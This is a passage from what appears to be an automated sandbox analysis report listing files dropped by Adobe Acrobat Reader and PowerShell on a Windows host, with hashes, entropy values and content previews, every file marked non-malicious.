SHA-256:	B2F6B63C496844577E0E1A35069C5A056861F888296DE362D1DECE35D893361D
SHA-512:	D8B2CDAC420C711880E925B33E6FEE0B8AC82642FC176F38BD3B1A73D5273A0CDC7F62234FC0E6EF96A1902DCDF5C4F1360DE001BD3DE5919C84D001BBA433D0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.301298465096336
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfzdPeUkwRe9:YvXKXvnYvR/ZwHA6Gb8Ukee9
MD5:	0B19F19B815827EA02792C652884E667
SHA1:	2CEDE50E590EE1B81241DFC8747C048B2C620313
SHA-256:	E9DE98C660C756511BA93C2D9B5EE73537B294C361BB35E99443AEF851F1628D
SHA-512:	C70D1FA662D89A4D7CC07F7F51802A0A08E2B06182A0FF4A4751816A9595CA467FB156AD92E1F22FE58BDA3CD9411A664FDF8788B37E50F9D310FAAED9926EFA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282107489817012
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfYdPeUkwRe9:YvXKXvnYvR/ZwHA6Gg8Ukee9
MD5:	2A770559F7BD6DB1F7A6B8766469AE7D
SHA1:	847456C3B65E8EE46E8A4C6430DF85A12017965F
SHA-256:	22B49E02B802448222727D061B03419B5D8C50C55BA7918056B77FC9DF8D751F
SHA-512:	E5C47BF01762AF86D58BCC2414EE17C0F69D7CF636FA33AB46D3CC9AD2526F83CFEA9945F2D200915980D61392E47D318C7C1DE93AE3A4E12F35335A1A2071BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.268141844585433
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJf+dPeUkwRe9:YvXKXvnYvR/ZwHA6G28Ukee9
MD5:	08715C1BC3C0DD9A9F73B5BBA740B7BB
SHA1:	3366EE8FC4916F75605B4E252BCCE65AD7C208E9
SHA-256:	E1FDEA16358F35A9E5C17DF54E0840AFAB590182C61A5B66F0A505A6A55FCA03
SHA-512:	78AEB75543003628686F69C3E1D66D9E93407F6663B68D0A9D328D90BDF2084A458EAF21AB4C0CE92306805257182E755EB59A855F53ED99FD76DBE061600F5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.265777560069453
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfbPtdPeUkwRe9:YvXKXvnYvR/ZwHA6GDV8Ukee9
MD5:	889A330E32D28F64EBF380BAAAE7E552
SHA1:	3A63F9482CAFAB653F2C43692560A480F0BD78BB
SHA-256:	B591546997BCFAFC1A9C9678000F8D6C31E303C9177D39120C8F0610E6B5DAEC
SHA-512:	B5002C0D00E47508DE96CEDD15AFE962ECC27A4DDB6A2E449E7E3A6E1BF4E6FE8503D0DFDB19F12C6EDC77EF237C569B593B1CE93110596AD1D96F21CC15BB58
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.265148127003087
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJf21rPeUkwRe9:YvXKXvnYvR/ZwHA6G+16Ukee9
MD5:	3B61483669C3A1231B78510ABDD04490
SHA1:	0C47DA8B3EEC8728FE02FC47FBA5B4C07C5DEDED
SHA-256:	684A9F7198C82E612AD8DE2F926A9C7DDF9320A0E1FC0141304EDBAFBAFAA2F7
SHA-512:	BFFFE735BD8265EB67A45C5B07551B7ADB5583BA70FB721BFA3FEBB4CE25DB3F8086322A00374A28313030136F9EFD6F17358DB01C4DC22274634F9277DC95FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6644886387938564
Encrypted:	false
SSDEEP:	24:Yv6XvnYJhbamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSv:Yv5JhrBgkDMUJUAh8cvMv
MD5:	7C2E33EF7588648A26DFEE4D0417A193
SHA1:	666BDC55B577D46FF7709A058A8E1C6C00191A27
SHA-256:	3E0E0C5C36EA3AE55797A3EB968CE25FD467DEFB7A4FBC37DA55CC322006ED74
SHA-512:	4728AFE4433F2882C614330AB616FF003F32051F91F6EC5531B35A0EB298CEFC6A312AE6B89D4BEF33A14C1EC1838FBDF79E094F3A126CF9A937A0EC079CD9B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.239115875406791
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJfshHHrPeUkwRe9:YvXKXvnYvR/ZwHA6GUUUkee9
MD5:	FC8C12B045389647AB291661BEFF662D
SHA1:	0B5AA636F8776359D678D17260E269AD9E57AAF1
SHA-256:	CF7B3E8D1D6E1FFAEEF8EB41E449F99C6CA1956FA2FA7D3F54280559E17FE348
SHA-512:	40D61E830F90D2D906C7D0A1B2914B8AF0F38C461DCA50CADA3E0DFA7B0AAE912AC42D1212954C1E279877BBFF59BFE59564B4D546925A010D1FBDD1FD6301AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.258265307416857
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCLydRtLnYvB3/dVlPIHAR0YRoAvJTqgFCrPeUkwRe9:YvXKXvnYvR/ZwHA6GTq16Ukee9
MD5:	F813CDF1784E0949183D8CF842BDCD90
SHA1:	4091A71D879E995DB1A0CEDA98F238D5549E6760
SHA-256:	D03448BAD2BBCD39B915A40EE13467F3BCBF485190CFD8B335DF3BC9CD6F7FB5
SHA-512:	AF1285AD711CF08F041E9A3DE41DC87347089DEDB211691F795D029F91EECBEC4A34F5F1D70E4EC43AF4A1EF944EC3B6369600E7847CDC6C9D4005DDD8A9F51C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5ac02e9f-7da5-4562-9e8d-bfb41c1a0a9c","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736759018281,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131382481964458
Encrypted:	false
SSDEEP:	24:Y4ErJzsaEay96J9CVOapYEPeFmhPuRNjVMj0S3VSb2T2LSpCfrBc85n83kHE5rcT:YJFG64ZpYnFyurAJUeDYc8GNdc9Qu
MD5:	758B809CFA92314AEE43E345F5CCA3E0
SHA1:	8D16356DEF7D612F4A9077B480007AEFC2BBC61E
SHA-256:	D1F37C21B675358DDF737B540DD15BFD9ED169CDE5E891EAD21BEA6B985D01BB
SHA-512:	EFE1D9FEB2B5E517A73889525D33403CB9C49824F289E363E29BFA6DB05F3E65BC3E9DBC8ECBC7A1770F134F4D21356BD424B04D05F0DEEB5EEDC56F3D0F7FA1
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c43873278fe259dbb7e037c5077d93e6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736581028000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"35893147e2da531e38f615a511709897","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736581028000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"eed6c19e5c1d03d22fdbc8155b510585","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736581028000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"4d67694782783a780e6366f8d4e9e84f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736581028000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"dadc0e1ad780981e53835c36fcff0d10","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736581028000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f099b0f0759f19c35fe67a742cc46b47","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3192572606886848
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMex2UtqVB:TGufl2GL7ms9WR1CPmPbPahx3ypilIjr
MD5:	517CEB61C324EC0B0C39F78AD409CACD
SHA1:	C0BBA8501EDED5B7B42581F47AE456C22E337351
SHA-256:	3A7B3914655BFA67A98C09BF8DE9C1DA8DD4BF075EF583DDF4F8E11B571F024B
SHA-512:	DB86F154CCD6846CA4CD91268220854F3D38940FCC199DE9FFE21A395320EBD3703992AA558E0F3B792FADFBFA08BADDE5B827CDF432FF277A428AF85C09B2E0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7802634450749053
Encrypted:	false
SSDEEP:	24:7+tHlhn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMex2U4qVpaVrScVr0InyqLhxd:7McWR1CPmPbPahxOypilI7qFl2GL7msD
MD5:	0CFF359C885EA70FD961FC354CDA76A2
SHA1:	EE3FF123FC3E8E866C94F0E39137677CAFB3B3E2
SHA-256:	8D06E87B4BD5E439320DAB07C8028E5F16411EB025DBA65086A2830CEF33790D
SHA-512:	B60145A0C8B7040D49623C18077A0AB0711131095B04BC4966708FF912BD9F391A6860C8C9D9A4B6B4E708B4BA77AAA65B12AA313823C269993F1B1236928477
Malicious:	false
Preview:	.... .c......r............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZcby8nEXEbH8fT0y03d/fZkGCYyu:6a6TZ44ADEZcm8nEXEoTIUNK
MD5:	DF1C78C56D7F9B88505FBAEF6BADC191
SHA1:	BE180D8FEDA34F4F390667AB38BC4741E9A713A6
SHA-256:	3F28C9F852891E3CE1BFC025D775BEEECFBE7B1040337856165D1C459A8F6C95
SHA-512:	648DC425C9E4500EA2422CAAB43552C380EC3233FE60AA58C159C5D8D46668D7254AE4F18DFF7C8433A76FD475F58301570CB84736275838FEDC7E48AEE38020
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI29b49.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClGlS2l:Qw946cPbiOxDlbYnuRKdZvl
MD5:	B0BD514E68D6F187D1E89BFB64E311A3
SHA1:	8F67B24BB335EE442D996EED0C2CC29F8A6BFDA0
SHA-256:	89DD751C921A848A41ACAB2839D1326357B483DA00E57230131B99F5ACDA4F4B
SHA-512:	900FE59584E8832E1B4193DE60F2474564AD35E06C673B76CD92C011291B812245245E2EE3EDF0F213810C7C6330F9DF5E0C883A636497D48C32F12B1718CAC2
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.3.7.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0qmug0e0.jol.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5js5gech.gfc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-37-01-678.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.366720071329216
Encrypted:	false
SSDEEP:	384:lxqQ4QPQgQqQZQB8QhQYQyXxXTX69H9LMJMVz8zgznzuz9OSt7S55QUvUDUxUX5I:dvk
MD5:	D63199BB3F0E94618A9ACA1A50710E5F
SHA1:	3DC5FABE01C0717F0144CC5DEEBA91A1055C2526
SHA-256:	C6DFA90527110A3E2C6E20DCDAF19E086EEB6FB932E46E38E6F3608574E13C09
SHA-512:	7DC000A534CA9D919C4532EBDB9E77EAF7279B77BCE503F5D8BD8B1210B0D72DF910E7ACB0376499F75D3FB8A798C832D86FCB92DD1548D1FA881C53489F122C
Malicious:	false
Preview:	SessionID=74769e75-bb98-478f-9745-1d5c3897ce23.1736581021690 Timestamp=2025-01-11T02:37:01:690-0500 ThreadID=3780 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=74769e75-bb98-478f-9745-1d5c3897ce23.1736581021690 Timestamp=2025-01-11T02:37:01:691-0500 ThreadID=3780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=74769e75-bb98-478f-9745-1d5c3897ce23.1736581021690 Timestamp=2025-01-11T02:37:01:691-0500 ThreadID=3780 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=74769e75-bb98-478f-9745-1d5c3897ce23.1736581021690 Timestamp=2025-01-11T02:37:01:691-0500 ThreadID=3780 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=74769e75-bb98-478f-9745-1d5c3897ce23.1736581021690 Timestamp=2025-01-11T02:37:01:691-0500 ThreadID=3780 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4038964772958655
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbocboIU8cbp:ceo4+rsCFUr
MD5:	EE61EB9633F545F24E5F0BC1D3820402
SHA1:	D177221B4B0CC304A00A296507D79EE97534E428
SHA-256:	81C68A9C20431250ADCD908E21A2EB760D775A6673ABF778152253F035B2B3C6
SHA-512:	7E936AFC6693F7C55E7DA755799886CAE67FB12608E0FFB88B1A14BEB41E5946480E5E393A06CB39692E6A3B6923F9AA571EA6413B840798F06E1914DC7E6AC2
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3f635b3c-6358-4b25-88e8-837d7a9fe934.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
